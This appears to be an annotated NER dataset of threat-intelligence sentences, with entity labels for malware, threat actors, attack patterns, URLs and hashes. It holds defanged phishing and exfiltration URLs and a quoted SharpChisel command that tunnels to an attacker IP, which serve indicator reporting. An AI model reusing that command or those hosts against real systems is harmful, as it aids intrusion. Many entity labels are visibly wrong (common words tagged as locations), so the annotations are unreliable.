{"id":4558,"text":"During our investigation into the Turla CyberAzov apps, we identified another Android app first seen in the wild in March 2022 that also claimed to conduct DoS attacks against Russian websites.","entities":[{"id":50370,"label":"TIME","start_offset":116,"end_offset":126},{"id":50368,"label":"malware","start_offset":34,"end_offset":54},{"id":50369,"label":"SOFTWARE","start_offset":78,"end_offset":85},{"id":50371,"label":"attack-pattern","start_offset":156,"end_offset":159},{"id":50372,"label":"location","start_offset":176,"end_offset":183}],"relations":[{"id":950,"from_id":50368,"to_id":50369,"type":"targets"}],"Comments":[]}
{"id":5066,"text":"Recently observed Ghostwriter credential phishing domains:","entities":[{"id":51172,"label":"threat-actor","start_offset":18,"end_offset":29},{"id":51173,"label":"attack-pattern","start_offset":30,"end_offset":49}],"relations":[{"id":1067,"from_id":51172,"to_id":51173,"type":"uses"}],"Comments":[]}
{"id":5266,"text":"It won\u2019t be a surprise given mobile platform\u2019s increasing ubiquity, especially in workplaces.","entities":[],"relations":[],"Comments":[]}
{"id":4418,"text":"The program will delete any security emails from Google generated by the attacker\u2019s activity.","entities":[{"id":50209,"label":"SOFTWARE","start_offset":49,"end_offset":55}],"relations":[],"Comments":[]}
{"id":13883,"text":"December 2020:","entities":[],"relations":[],"Comments":[]}
{"id":12151,"text":"During our investigation we discovered several documents uploaded to VirusTotal.","entities":[],"relations":[],"Comments":[]}
{"id":1317,"text":" PlugX is a well-studied malware family with a long history of use in targeted attacks.","entities":[{"id":44968,"label":"malware","start_offset":1,"end_offset":6}],"relations":[],"Comments":[]}
{"id":5858,"text":"Yeah, well, again, everything that we see in cyberspace is a direct analogy on the physical side.","entities":[],"relations":[],"Comments":[]}
{"id":2079,"text":"We were able to see this threat actor demonstrating some of his tools performing automated actions in his videos, such as obfuscating files, creating executables and code signing (Figure 21).","entities":[],"relations":[],"Comments":[]}
{"id":981,"text":" We do not know how Taomike is using the stolen SMS messages, but no library should capture all messages and send them to a system outside the phone.","entities":[{"id":46477,"label":"identity","start_offset":20,"end_offset":27}],"relations":[],"Comments":[]}
{"id":2776,"text":"Before, drive-by attacks focused on abusing a browser\u2019s legitimate download capabilities to download malware onto the victim\u2019s system without their consent or knowledge.","entities":[{"id":48005,"label":"attack-pattern","start_offset":92,"end_offset":108}],"relations":[],"Comments":[]}
{"id":2071,"text":"We learned how this threat actor leverages Cobalt Strike for his operations, including how to set up Beacons as well as how to send files to compromised systems.","entities":[{"id":47158,"label":"tools","start_offset":43,"end_offset":56}],"relations":[],"Comments":[]}
{"id":903,"text":"This key is also sent via a HTTP POST request.","entities":[],"relations":[],"Comments":[]}
{"id":11800,"text":"Targets typically had to navigate through at least one redirect before landing on a phishing domain.","entities":[{"id":36392,"label":"location","start_offset":71,"end_offset":78},{"id":36393,"label":"attack-pattern","start_offset":84,"end_offset":92}],"relations":[],"Comments":[]}
{"id":8558,"text":"In this blog, we explore some of the most notable campaigns we\u2019ve disrupted this year from a different government-backed attacker: APT35, an Iranian group, which regularly conducts phishing campaigns targeting high risk users.","entities":[{"id":26438,"label":"location","start_offset":37,"end_offset":41},{"id":26442,"label":"attack-pattern","start_offset":181,"end_offset":189}],"relations":[],"Comments":[]}
{"id":700,"text":" Prevention Palo Alto Networks Traps advanced endpoint protection offers multiple methods of malware and exploit prevention to protect against these threats:","entities":[{"id":2316,"label":"identity","start_offset":12,"end_offset":30}],"relations":[],"Comments":[]}
{"id":4438,"text":"It\u2019s why we do things like work with our CyberCrime Investigation Group to share critical information relevant to law enforcement.","entities":[{"id":50213,"label":"identity","start_offset":41,"end_offset":71}],"relations":[],"Comments":[]}
{"id":1038,"text":"However, this malicious seller activity may also reveal a larger scale problem within university systems.","entities":[],"relations":[],"Comments":[]}
{"id":14320,"text":"After that, the malware will collect the username and password inputs from web pages and sends it to hxxps:\/\/miakhalifagame[.]com\/testinn[.]php.","entities":[{"id":48545,"label":"URL","start_offset":101,"end_offset":144}],"relations":[],"Comments":[]}
{"id":10899,"text":"The sample 74582c3d920332117541a9bbc6b8995fbe7e1aff communicates with the URL  https:\/\/www.upn-sec3-msd[.]com\/ProxyServer\/service\/.  ","entities":[{"id":33180,"label":"location","start_offset":4,"end_offset":10},{"id":33181,"label":"MD5","start_offset":11,"end_offset":51},{"id":33182,"label":"URL","start_offset":79,"end_offset":94}],"relations":[],"Comments":[]}
{"id":4763,"text":"And we offer other advanced phishing and malware protection to administrators to better protect their users.","entities":[],"relations":[],"Comments":[]}
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{"id":1233,"text":"For instance:  To improve the security of IAP, some payment platforms try to add a verification step in order to confirm an SMS was really sent by the user, for example, it will ask the user to reply with certain text that was sent to a phone number specified by the user.","entities":[],"relations":[],"Comments":[]}
{"id":10529,"text":"It was last updated on May 27, 2020.","entities":[],"relations":[],"Comments":[]}
{"id":13040,"text":"This week, learn about Trend Micro\u2019s latest cloud security offering, Cloud One \u2013 Application Security.","entities":[{"id":48878,"label":"identity","start_offset":23,"end_offset":35},{"id":48879,"label":"SOFTWARE","start_offset":69,"end_offset":101}],"relations":[],"Comments":[]}
{"id":878,"text":" When initially executed, PClock2 performs a very simple anti-analysis check where it will sleep for a random amount of time and compare the time spent sleeping against a set value.","entities":[{"id":46412,"label":"malware","start_offset":26,"end_offset":33}],"relations":[],"Comments":[]}
{"id":1976,"text":"A crafted packet could set the \u201cCookieSize\u201d field to 0x20 and have the actual cookie buffer contain less than 0x20 bytes of data.  When a DTLS client receives a HelloVerifyRequest packet with a CookieSize larger than 32 bytes the client does not properly validate the CookieSize value against the amount of cookie data in the packet.","entities":[],"relations":[],"Comments":[]}
{"id":13809,"text":"If yes, it replaces the PID to be opened with another Windows Service PID that has been written by the Waterbear loader in the beginning.","entities":[],"relations":[],"Comments":[]}
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{"id":11041,"text":"It was last updated on January 26, 2021.","entities":[],"relations":[],"Comments":[]}
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{"id":2255,"text":"Finally, the malware will parse the third line, which instructs the malware to modify the wait interval to a value of \u201860\u2019.","entities":[],"relations":[],"Comments":[]}
{"id":3178,"text":"Furthermore, BIOPASS RAT also creates scheduled tasks to load the Cobalt Strike shellcode during the initialization, indicating that the malicious actor behind the attack still heavily relies on Cobalt Strike.","entities":[{"id":48304,"label":"malware","start_offset":13,"end_offset":24},{"id":48305,"label":"tools","start_offset":66,"end_offset":79},{"id":48306,"label":"tools","start_offset":195,"end_offset":208}],"relations":[{"id":402,"from_id":48304,"to_id":48305,"type":"uses"}],"Comments":[]}
{"id":5132,"text":"Most defenses, traditional defenses worry about that north\/south traffic.","entities":[],"relations":[],"Comments":[]}
{"id":1110,"text":"There are many common mutexes shared across both benign software and malware.","entities":[],"relations":[],"Comments":[]}
{"id":14104,"text":"They also have some changes that make sense, such as removing the error \u201cfailed to take\u2026,\u201d since this is not required for the malware functionality.","entities":[],"relations":[],"Comments":[]}
{"id":7881,"text":"Google could reverse this situation by making setting the android:allowBackup property to false by default, requiring developers to opt-in to the backup system, rather than opt-out.","entities":[],"relations":[],"Comments":[]}
{"id":4870,"text":"After compromising an account, the actor maintains persistence by granting themselves an OAuth token to a legitimate email app like Thunderbird, or by linking the victim Gmail account to an attacker-owned account on a third-party mail provider.","entities":[{"id":50872,"label":"SOFTWARE","start_offset":132,"end_offset":143},{"id":50873,"label":"SOFTWARE","start_offset":170,"end_offset":175}],"relations":[],"Comments":[]}
{"id":8177,"text":"Thank you for your understanding.","entities":[],"relations":[],"Comments":[]}
{"id":13976,"text":"However, it doesn\u2019t adequately address the reality of the non-linear nature of attacks.","entities":[],"relations":[],"Comments":[]}
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{"id":1673,"text":"The value in the command byte determines which of the commands is run through a 76 way switch statement.","entities":[],"relations":[],"Comments":[]}
{"id":866,"text":"In order to decrypt these files, the victim must provide a ransom, or payment, to the attacker, often in the form of a digital currency.","entities":[],"relations":[],"Comments":[]}
{"id":11793,"text":"In May 2020, we discovered that APT35 attempted to upload spyware to the Google Play Store.","entities":[],"relations":[],"Comments":[]}
{"id":4310,"text":"The NSO Group\u2019s spyware spurred a collaborative investigation that found that it was being used to target high-ranking individuals in 11 different countries.","entities":[{"id":50108,"label":"threat-actor","start_offset":4,"end_offset":13}],"relations":[],"Comments":[]}
{"id":9405,"text":"Used to enumerate external storage file system Discovery Location Tracking T1430 Used to track device\u2019s location Collection Access Call Log T1433 Used to gather call log data Collection Access Contact List T1432 Used to gather contact list data","entities":[{"id":28949,"label":"attack-pattern","start_offset":57,"end_offset":74},{"id":28950,"label":"attack-pattern","start_offset":124,"end_offset":139},{"id":28951,"label":"location","start_offset":161,"end_offset":165},{"id":28952,"label":"attack-pattern","start_offset":186,"end_offset":205},{"id":28953,"label":"location","start_offset":227,"end_offset":234},{"id":28954,"label":"location","start_offset":235,"end_offset":239}],"relations":[],"Comments":[]}
{"id":3192,"text":"It is important to note that both Adobe Flash and Microsoft Silverlight have already been deprecated by their respective vendors.","entities":[{"id":48318,"label":"SOFTWARE","start_offset":34,"end_offset":45},{"id":48319,"label":"SOFTWARE","start_offset":50,"end_offset":71}],"relations":[],"Comments":[]}
{"id":14225,"text":"Figure 4: Execution\/infection flow of loadoerf.ini","entities":[{"id":48411,"label":"FILEPATH","start_offset":38,"end_offset":50}],"relations":[],"Comments":[]}
{"id":3294,"text":"2.      \u201cpython\u201d: executes a Python script delivered with the command.","entities":[{"id":48382,"label":"SOFTWARE","start_offset":29,"end_offset":35}],"relations":[],"Comments":[]}
{"id":11383,"text":"We use our research to continuously improve the safety and security of our products and share this intelligence with our industry peers.","entities":[{"id":34751,"label":"tools","start_offset":48,"end_offset":54},{"id":34752,"label":"location","start_offset":55,"end_offset":58},{"id":34753,"label":"location","start_offset":59,"end_offset":67},{"id":34754,"label":"location","start_offset":84,"end_offset":87},{"id":34755,"label":"location","start_offset":121,"end_offset":129}],"relations":[],"Comments":[]}
{"id":1885,"text":"In this case we dig deeper into the possible connection between cyberattacks by focusing on the similarities an unnamed threat actor shares with Confucius, Patchwork, and another threat actor called Bahamut.","entities":[{"id":47014,"label":"threat-actor","start_offset":156,"end_offset":165},{"id":47013,"label":"threat-actor","start_offset":145,"end_offset":154},{"id":47015,"label":"threat-actor","start_offset":199,"end_offset":206}],"relations":[],"Comments":[]}
{"id":10254,"text":"Starting from August 2020, Pawn Storm has sent several spear phishing emails with a malicious RAR attachment.","entities":[{"id":31347,"label":"threat-actor","start_offset":27,"end_offset":37},{"id":31348,"label":"attack-pattern","start_offset":55,"end_offset":69}],"relations":[],"Comments":[]}
{"id":2982,"text":"If you have kids, avoid the temptation to let them all use one account or accounts without passwords: this is a chance for them to start to learn the right way to handle passwords by giving them their own and teaching them to never share that password.","entities":[],"relations":[],"Comments":[]}
{"id":8653,"text":"After a fingerprinting phase, similar to the one used with the Chrome exploit above, users were served an Internet Explorer 0-day.","entities":[{"id":26723,"label":"attack-pattern","start_offset":8,"end_offset":22},{"id":26724,"label":"location","start_offset":45,"end_offset":48}],"relations":[],"Comments":[]}
{"id":4705,"text":"For example, TAG has been closely tracking and disrupting campaigns targeting individuals and organizations in Ukraine, and frequently publishes reports on Russian threat actors.","entities":[{"id":50593,"label":"identity","start_offset":13,"end_offset":16},{"id":50594,"label":"location","start_offset":111,"end_offset":118},{"id":50595,"label":"location","start_offset":156,"end_offset":163}],"relations":[],"Comments":[]}
{"id":8902,"text":"Both events never or rarely happened in the victim\u2019s environment.","entities":[],"relations":[],"Comments":[]}
{"id":7934,"text":"Android supports the ability to install apps from the Google Play store as well as from the local file system.","entities":[],"relations":[],"Comments":[]}
{"id":565,"text":"The encrypted file icon will look the same as usual, but after opening the infected file, the ransom note will pop up.","entities":[],"relations":[],"Comments":[]}
{"id":1444,"text":"If a developer wants to use a different certificate, they must publish the update separately as a new app.","entities":[],"relations":[],"Comments":[]}
{"id":3165,"text":"Customers, cloud providers and security vendors have a shared responsibility to work together as the threat landscape continues to evolve.","entities":[],"relations":[],"Comments":[]}
{"id":545,"text":" Some ransomware families, including Babuk, Sodinokibi, Cerber, Mailto, Ryuk and others, seldom show the ransom amount or cryptocurrency wallet address.","entities":[{"id":46160,"label":"malware","start_offset":44,"end_offset":54},{"id":46159,"label":"malware","start_offset":37,"end_offset":42},{"id":46161,"label":"malware","start_offset":56,"end_offset":62},{"id":46163,"label":"malware","start_offset":72,"end_offset":76},{"id":46162,"label":"malware","start_offset":64,"end_offset":70}],"relations":[],"Comments":[]}
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{"id":6356,"text":"The implanted code begins when the DLL is loaded via DLL_PROCESS_ATTACH and performs the following at the DLLMain subroutine:  The technique outlined above uses process injection via undocumented Windows NTAPI calls.","entities":[{"id":19727,"label":"location","start_offset":72,"end_offset":75},{"id":19728,"label":"attack-pattern","start_offset":161,"end_offset":178}],"relations":[],"Comments":[]}
{"id":13492,"text":"Cybercriminals have different motivations: for example, some malicious actors have disruptive political attacks as their objective, while others might be more inclined towards cyberespionage and gathering information on their victims.","entities":[],"relations":[],"Comments":[]}
{"id":1459,"text":"For example, the number of certificates used by only one app is 1,323.","entities":[],"relations":[],"Comments":[]}
{"id":1425,"text":"As described in Google\u2019s official document, the app developer is required to create a keystore with a set of private keys, and then use the private key to generate a signed version of apps.","entities":[{"id":46763,"label":"identity","start_offset":16,"end_offset":22}],"relations":[],"Comments":[]}
{"id":4825,"text":"An example of this technique, used to target Facebook users, can be seen in the screenshot below.","entities":[{"id":50772,"label":"SOFTWARE","start_offset":45,"end_offset":53}],"relations":[],"Comments":[]}
{"id":5987,"text":"In mid-April, TAG detected a Ghostwriter credential phishing campaign targeting Facebook users.","entities":[{"id":18430,"label":"attack-pattern","start_offset":52,"end_offset":60},{"id":18431,"label":"location","start_offset":61,"end_offset":69}],"relations":[],"Comments":[]}
{"id":88,"text":"Attackers will soon begin targeting devices with higher specifications to get more bang for their buck.","entities":[],"relations":[],"Comments":[]}
{"id":1084,"text":"In fact, over 15% of all collected worms share a single mutex [2gvwnqjz].","entities":[],"relations":[],"Comments":[]}
{"id":3180,"text":"In this blog entry, we will dive deeper into BIOPASS RAT with a detailed technical analysis of the infection chain, the different components of the malware, and any possible associations with Winnti.","entities":[{"id":48309,"label":"threat-actor","start_offset":192,"end_offset":198},{"id":48310,"label":"malware","start_offset":45,"end_offset":56}],"relations":[{"id":404,"from_id":48310,"to_id":48309,"type":"related-to"}],"Comments":[]}
{"id":13606,"text":"Clicking on the \u201cInstall now\u201d button downloads a .ZIP archive, which contains several legitimate files as well as a few malicious ones, which are usually in form of DLL libraries.","entities":[],"relations":[],"Comments":[]}
{"id":2476,"text":"This particular webshell is based on AntSword\u2019s shell.jsp, which was modified to use a parameter of k3rwin instead of ant to load the class.","entities":[{"id":7400,"label":"tools","start_offset":37,"end_offset":45},{"id":47549,"label":"identity","start_offset":100,"end_offset":106},{"id":47548,"label":"FILEPATH","start_offset":48,"end_offset":57}],"relations":[{"id":336,"from_id":7400,"to_id":47548,"type":"consists-of"}],"Comments":[]}
{"id":8038,"text":"Although Play Store users were protected, we are highlighting the app here as TAG has seen APT35 attempt to distribute this spyware on other platforms as recently as July 2021.","entities":[{"id":24935,"label":"location","start_offset":45,"end_offset":48},{"id":24936,"label":"threat-actor","start_offset":91,"end_offset":96}],"relations":[],"Comments":[]}
{"id":1144,"text":"More interestingly, it was another, non-overlapping, subset of the Allaple family.","entities":[{"id":3513,"label":"malware","start_offset":67,"end_offset":74}],"relations":[],"Comments":[]}
{"id":2186,"text":"For more information on the new campaign discovered by Unit 42, please refer to our recent blog post.","entities":[{"id":47315,"label":"identity","start_offset":55,"end_offset":62}],"relations":[],"Comments":[]}
{"id":1348,"text":"Microsoft has publicly attributed the use of this custom malware to a threat actor they refer to as DEV-0586.","entities":[{"id":4045,"label":"threat-actor","start_offset":100,"end_offset":108},{"id":46677,"label":"identity","start_offset":0,"end_offset":9}],"relations":[],"Comments":[]}
{"id":4938,"text":"Credential phishing through a compromised website demonstrates these attackers will go to great lengths to appear legitimate \u2013 as they know it's difficult for users to detect this kind of attack.","entities":[{"id":50957,"label":"attack-pattern","start_offset":0,"end_offset":19}],"relations":[],"Comments":[]}
{"id":1590,"text":" For information on how Palo Alto Networks products prevent Bad Rabbit, please see our Palo Alto Networks Protections Against Bad Rabbit Ransomware Attacks blog post.","entities":[{"id":45073,"label":"malware","start_offset":60,"end_offset":70},{"id":45074,"label":"identity","start_offset":87,"end_offset":105},{"id":45072,"label":"identity","start_offset":24,"end_offset":42},{"id":45075,"label":"malware","start_offset":130,"end_offset":136}],"relations":[],"Comments":[]}
{"id":1591,"text":" As always if you have any questions, please come to the Threat & Vulnerability Discussions on our Live Community.","entities":[],"relations":[],"Comments":[]}
{"id":2426,"text":"This is the exploit method used in the public PoC for the SpringShell vulnerability.","entities":[{"id":47498,"label":"vulnerability","start_offset":58,"end_offset":83}],"relations":[],"Comments":[]}
{"id":6473,"text":"The following command then configures SharpChisel: C:\\programdata\\SharpChisel.exe client 87.236.212[.]184:8080 r:8888:127.0.0.1:9999","entities":[],"relations":[],"Comments":[]}
{"id":13368,"text":"To help defend users against APT41 specifically, we have developed an assessment tool that can scan endpoints for file-based indicators collected from global intelligence sources.","entities":[{"id":41578,"label":"threat-actor","start_offset":29,"end_offset":34},{"id":41579,"label":"location","start_offset":81,"end_offset":85},{"id":41580,"label":"location","start_offset":91,"end_offset":94}],"relations":[],"Comments":[]}
{"id":12451,"text":"We received leads from the FBI that supported us in this investigation.","entities":[],"relations":[],"Comments":[]}
{"id":2314,"text":" Loading a page with the WebKit RCE on the latest version of Safari (14.1), we learned the RCE was an n-day since it did not successfully trigger the exploit.","entities":[{"id":47386,"label":"vulnerability","start_offset":32,"end_offset":35},{"id":47387,"label":"vulnerability","start_offset":91,"end_offset":94},{"id":47383,"label":"SOFTWARE","start_offset":25,"end_offset":31},{"id":47385,"label":"SOFTWARE","start_offset":61,"end_offset":74}],"relations":[],"Comments":[]}
{"id":12210,"text":"We terminated 9 YouTube channels as part of our investigation into coordinated influence operations linked to China.","entities":[],"relations":[],"Comments":[]}
{"id":11818,"text":"Indicators from APT28 phishing campaign: service-reset-password-moderate-digital.rf[.]gd reset-service-identity-mail.42web[.]io digital-email-software.great-site[.]net  Indicators from APT35 campaigns:  Abused Google Properties: https:\/\/sites.google[.]com\/view\/ty85yt8tg8-download-rtih4ithr\/ https:\/\/sites.google[.]com\/view\/user-id-568245\/ https:\/\/sites.google[.]com\/view\/hhbejfdwdhwuhscbsb-xscvhdvbc\/  Abused Dropbox Properties: https:\/\/www.dropbox[.]com\/s\/68y4vpfu8pc3imf\/Iraq&Jewish.pdf  ","entities":[{"id":36454,"label":"threat-actor","start_offset":16,"end_offset":21},{"id":36455,"label":"attack-pattern","start_offset":22,"end_offset":30},{"id":36456,"label":"location","start_offset":31,"end_offset":39},{"id":36457,"label":"threat-actor","start_offset":185,"end_offset":190},{"id":36458,"label":"URL","start_offset":229,"end_offset":255},{"id":36459,"label":"location","start_offset":256,"end_offset":260},{"id":36460,"label":"URL","start_offset":292,"end_offset":318},{"id":36461,"label":"location","start_offset":319,"end_offset":323},{"id":36462,"label":"URL","start_offset":340,"end_offset":366},{"id":36463,"label":"location","start_offset":367,"end_offset":371},{"id":36464,"label":"malware","start_offset":410,"end_offset":417},{"id":36465,"label":"URL","start_offset":430,"end_offset":455}],"relations":[],"Comments":[]}
{"id":5450,"text":" Why should I care, what can it do to me?  Attackers are predictable: they follow people and money.","entities":[],"relations":[],"Comments":[]}
{"id":2353,"text":"This looked similar to an earlier in-the-wild iOS vulnerability analyzed by Ian Beer of Google Project Zero.","entities":[{"id":47408,"label":"SOFTWARE","start_offset":46,"end_offset":49},{"id":47409,"label":"identity","start_offset":88,"end_offset":107},{"id":47410,"label":"identity","start_offset":76,"end_offset":84}],"relations":[],"Comments":[]}
{"id":14173,"text":"Leaders of the U.S. intelligence community expressed this same concern in their annual appearance on capitol hill on Tuesday.","entities":[],"relations":[],"Comments":[]}
{"id":3944,"text":"Commands used to scan for web server-related vulnerabilities and passwords on certain applications and ports","entities":[],"relations":[],"Comments":[]}
{"id":8567,"text":"In May 2020, we discovered that APT35 attempted to upload spyware to the Google Play Store.","entities":[],"relations":[],"Comments":[]}
{"id":2542,"text":"Accordingly, it continues to be a growth industry that will attract multitudes of new practitioners, and it is likely that high-profile targets will continue to fall.","entities":[],"relations":[],"Comments":[]}
{"id":1121,"text":"And, unfortunately, the ones, which are reasonably easy for a human to identify, are so for significantly different reasons.","entities":[],"relations":[],"Comments":[]}
{"id":817,"text":" Please mark, I'm not a robot!","entities":[],"relations":[],"Comments":[]}
{"id":6015,"text":"Ghostwriter actors have quickly adopted this new technique, combining it with a previously observed technique, hosting credential phishing landing pages on compromised sites.","entities":[{"id":18563,"label":"threat-actor","start_offset":0,"end_offset":11},{"id":18564,"label":"attack-pattern","start_offset":130,"end_offset":138},{"id":18565,"label":"location","start_offset":139,"end_offset":146},{"id":18566,"label":"location","start_offset":168,"end_offset":173}],"relations":[],"Comments":[]}
{"id":6198,"text":"The vulnerability, which exists inside the webmail system\u2019s shortcut feature, allows users to create links on the webmail front page.","entities":[{"id":19150,"label":"tools","start_offset":128,"end_offset":132}],"relations":[],"Comments":[]}
{"id":895,"text":"Other messages that might be present in this key include the following.","entities":[],"relations":[],"Comments":[]}
{"id":4973,"text":"TAG is actively tracking more than 30 vendors with varying levels of sophistication and public exposure selling exploits or surveillance capabilities to government-backed actors.","entities":[{"id":51033,"label":"TIME","start_offset":0,"end_offset":3}],"relations":[],"Comments":[]}
{"id":1405,"text":" Kuluoz e-mails often trick the reader into thinking they are delivery notifications (such as UPS or Fedex), or notices from airlines or payment processors.","entities":[{"id":46753,"label":"malware","start_offset":1,"end_offset":7}],"relations":[],"Comments":[]}
{"id":2120,"text":"The method of attack would be through a specially crafted URL sent to the vulnerable system.","entities":[],"relations":[],"Comments":[]}
{"id":3500,"text":" Figure 7.","entities":[],"relations":[],"Comments":[]}
{"id":3797,"text":"The email title and attached file name were written in Japanese and contain general business, political, and economy-themed phrases such as  \u4e16\u754c\u7d4c\u6e08(World economy) \u7d4c\u6e08\u653f\u7b56(economic policy) \u4e88\u7b97\u6982\u7b97\u8981\u6c42(budget estimation request) \u65e5\u7c73\u5bfe\u8a71(Japan-US dialogue) \u5b89\u500d\u518d\u4efb(re-appointment of Prime Minister Abe) \u9023\u7d61\u7db2(contact network) \u8077\u54e1\u63a1\u7528\u6848(staff recruitment plan) \u4f1a\u8b70(meeting)  However, there is a change in the exploit document.","entities":[],"relations":[],"Comments":[]}
{"id":481,"text":"Email us at u42comms@paloaltonetworks.com.","entities":[{"id":1630,"label":"EMAIL","start_offset":12,"end_offset":41}],"relations":[],"Comments":[]}
{"id":8566,"text":"Credential phishing through a compromised website demonstrates these attackers will go to great lengths to appear legitimate \u2013 as they know it's difficult for users to detect this kind of attack.","entities":[{"id":26472,"label":"attack-pattern","start_offset":11,"end_offset":19},{"id":26473,"label":"location","start_offset":79,"end_offset":83}],"relations":[],"Comments":[]}
{"id":5795,"text":"Well, yeah, absolutely.","entities":[],"relations":[],"Comments":[]}
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{"id":10454,"text":"Just click the URL below for your region, sign up today for your free trial and allow us to help you protect your business.","entities":[{"id":31763,"label":"identity","start_offset":0,"end_offset":4},{"id":31764,"label":"location","start_offset":34,"end_offset":40},{"id":31766,"label":"location","start_offset":76,"end_offset":79}],"relations":[],"Comments":[]}
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{"id":4516,"text":"During the development stage, Android-created and open source components are subject to vigorous security reviews","entities":[{"id":50315,"label":"SOFTWARE","start_offset":30,"end_offset":37}],"relations":[],"Comments":[]}
{"id":373,"text":"If the vulnerability is exploited, threat actors could bypass authentication and run arbitrary code on unpatched systems.","entities":[{"id":46068,"label":"attack-pattern","start_offset":55,"end_offset":76},{"id":46069,"label":"attack-pattern","start_offset":81,"end_offset":99}],"relations":[],"Comments":[]}
{"id":6520,"text":"Command and Scripting Interpreter: Windows Command Shell \u2013 T1059.003","entities":[{"id":20204,"label":"location","start_offset":8,"end_offset":11},{"id":20205,"label":"attack-pattern","start_offset":12,"end_offset":21},{"id":20206,"label":"location","start_offset":51,"end_offset":56}],"relations":[],"Comments":[]}
{"id":2370,"text":"Earth Baku deploys its ongoing campaign, which can be traced to as far back as July 2020, through multiple attack vectors that are designed based on different exploits or the infrastructure of its targeted victim's environment:  \u2022 SQL injection to upload a malicious file \u2022 Installment through\u202fInstallUtil.exe in a\u202fscheduled task \u2022 Possibly a malicious link (LNK) file sent as an email attachment \u2022 Exploitation\u202fof\u202fthe ProxyLogon vulnerability CVE-2021-26855 to upload a China Chopper web shell  This campaign uses previously unidentified shellcode loaders, which we have named StealthVector and StealthMutant, and a backdoor, which we have dubbed ScrambleCross.","entities":[{"id":45480,"label":"threat-actor","start_offset":0,"end_offset":10},{"id":45472,"label":"vulnerability","start_offset":444,"end_offset":458},{"id":45474,"label":"malware","start_offset":578,"end_offset":591},{"id":45475,"label":"malware","start_offset":596,"end_offset":609},{"id":45476,"label":"malware","start_offset":648,"end_offset":661},{"id":45477,"label":"TIME","start_offset":79,"end_offset":88},{"id":45478,"label":"FILEPATH","start_offset":294,"end_offset":309},{"id":45479,"label":"vulnerability","start_offset":419,"end_offset":429},{"id":7033,"label":"attack-pattern","start_offset":231,"end_offset":244},{"id":7034,"label":"attack-pattern","start_offset":315,"end_offset":329},{"id":7036,"label":"malware","start_offset":471,"end_offset":484}],"relations":[{"id":100,"from_id":45479,"to_id":45472,"type":"duplicate-of"},{"id":323,"from_id":45480,"to_id":7033,"type":"uses"},{"id":324,"from_id":45480,"to_id":7034,"type":"uses"}],"Comments":[]}
{"id":1047,"text":"Patches for this vulnerability are available as part of the September 2017 Android Security Bulletin.","entities":[{"id":44922,"label":"TIME","start_offset":60,"end_offset":74},{"id":44923,"label":"SOFTWARE","start_offset":75,"end_offset":83}],"relations":[],"Comments":[]}
{"id":1544,"text":" How the Attacks are Carried Out: Via Email","entities":[],"relations":[],"Comments":[]}
{"id":295,"text":"We routinely observe vulnerable devices across the global internet, despite the fact that most of these CVEs are more than two years old.","entities":[],"relations":[],"Comments":[]}
{"id":4982,"text":"The first campaign, detected in August 2021, used Chrome on a Samsung Galaxy S21 and the web server immediately replied with a HTTP redirect (302) pointing to the following intent URL.","entities":[{"id":51038,"label":"TIME","start_offset":32,"end_offset":43},{"id":51039,"label":"SOFTWARE","start_offset":50,"end_offset":56}],"relations":[],"Comments":[]}
{"id":3383,"text":"BIOPASS RAT Loader  Backdoor.Win32.BIOPASS.A  30d9ffd4b92a4ed67569a78ceb25bb6f66346d1c0a7d6d6305e235cbdfe61ebe  Silverlight_ins.exe  ","entities":[{"id":10230,"label":"malware","start_offset":0,"end_offset":11},{"id":10231,"label":"SHA2","start_offset":46,"end_offset":110},{"id":49034,"label":"FILEPATH","start_offset":112,"end_offset":131},{"id":49033,"label":"malware","start_offset":20,"end_offset":44}],"relations":[{"id":578,"from_id":10230,"to_id":49033,"type":"duplicate-of"},{"id":579,"from_id":49034,"to_id":10231,"type":"duplicate-of"},{"id":580,"from_id":49034,"to_id":49033,"type":"indicates"},{"id":581,"from_id":10231,"to_id":49033,"type":"indicates"}],"Comments":[]}
{"id":11447,"text":"For users, Android provides safety and control over how apps and third parties can access the data from their devices.","entities":[{"id":34975,"label":"tools","start_offset":28,"end_offset":34},{"id":34976,"label":"location","start_offset":35,"end_offset":38},{"id":34977,"label":"location","start_offset":61,"end_offset":64},{"id":34979,"label":"location","start_offset":79,"end_offset":82}],"relations":[],"Comments":[]}
{"id":13671,"text":"Here are some of the X-Mailers we observed:","entities":[],"relations":[],"Comments":[]}
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{"id":2651,"text":"The notes claimed the threat actors would pay \u201cmillions of dollars\u201d to insiders who provided access to corporate networks or facilitated a ransomware infection by opening a phishing email and\/or launching a payload manually.","entities":[{"id":47840,"label":"attack-pattern","start_offset":173,"end_offset":187}],"relations":[],"Comments":[]}
{"id":4566,"text":"The Sandworm campaign used compromised government accounts to send links to Microsoft Office documents hosted on compromised domains, primarily targeting media organizations in Ukraine.","entities":[{"id":50395,"label":"campaign","start_offset":4,"end_offset":21},{"id":50396,"label":"attack-pattern","start_offset":27,"end_offset":58},{"id":50397,"label":"SOFTWARE","start_offset":76,"end_offset":92},{"id":50398,"label":"location","start_offset":177,"end_offset":184}],"relations":[{"id":957,"from_id":50395,"to_id":50396,"type":"uses"},{"id":958,"from_id":50395,"to_id":50397,"type":"targets"}],"Comments":[]}
{"id":9533,"text":"One of the variants we analyzed had an interesting destructive feature: It replaces the master boot record (MBR) to display an explicit message (\u201cI am virus ! F*ck you :-)\u201d).","entities":[],"relations":[],"Comments":[]}
{"id":5440,"text":"The indicators of compromise (IOCs) can be found in this appendix and the C&C server validation script can be accessed via this text file.","entities":[],"relations":[],"Comments":[]}
{"id":3060,"text":"The app requests that the user pay 4.99$ per month for full protection.","entities":[],"relations":[],"Comments":[]}
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{"id":2256,"text":"This interval value is set in the following registry key:  HKCU\\Software\\Microsoft\\HY08A\\Policy  Additionally, in the event the C2 response instructs the malware to update C2 URLs, it will be in the following format:  1001; [unique_identifier] [url]  The malware will encrypt the URL string with a 4-byte XOR key of \u201c\\x01\\x02\\x03\\x04\u201d and store this data in the following registry key:  HKCU\\Software\\Microsoft\\HY08A\\[unique_identifier]  The TDrop2 malware family that was witnessed in a recent attack against a European transportation company provided a minimal set of commands to the attackers.","entities":[{"id":45428,"label":"REGISTRYKEY","start_offset":59,"end_offset":95},{"id":45430,"label":"malware","start_offset":442,"end_offset":448},{"id":6702,"label":"REGISTRYKEY","start_offset":387,"end_offset":435},{"id":47329,"label":"location","start_offset":512,"end_offset":520}],"relations":[],"Comments":[]}
{"id":594,"text":"And we\u2019ve seen that in adapting their attacks to better evade detection, they\u2019ve specialized their operations around the globe.","entities":[],"relations":[],"Comments":[]}
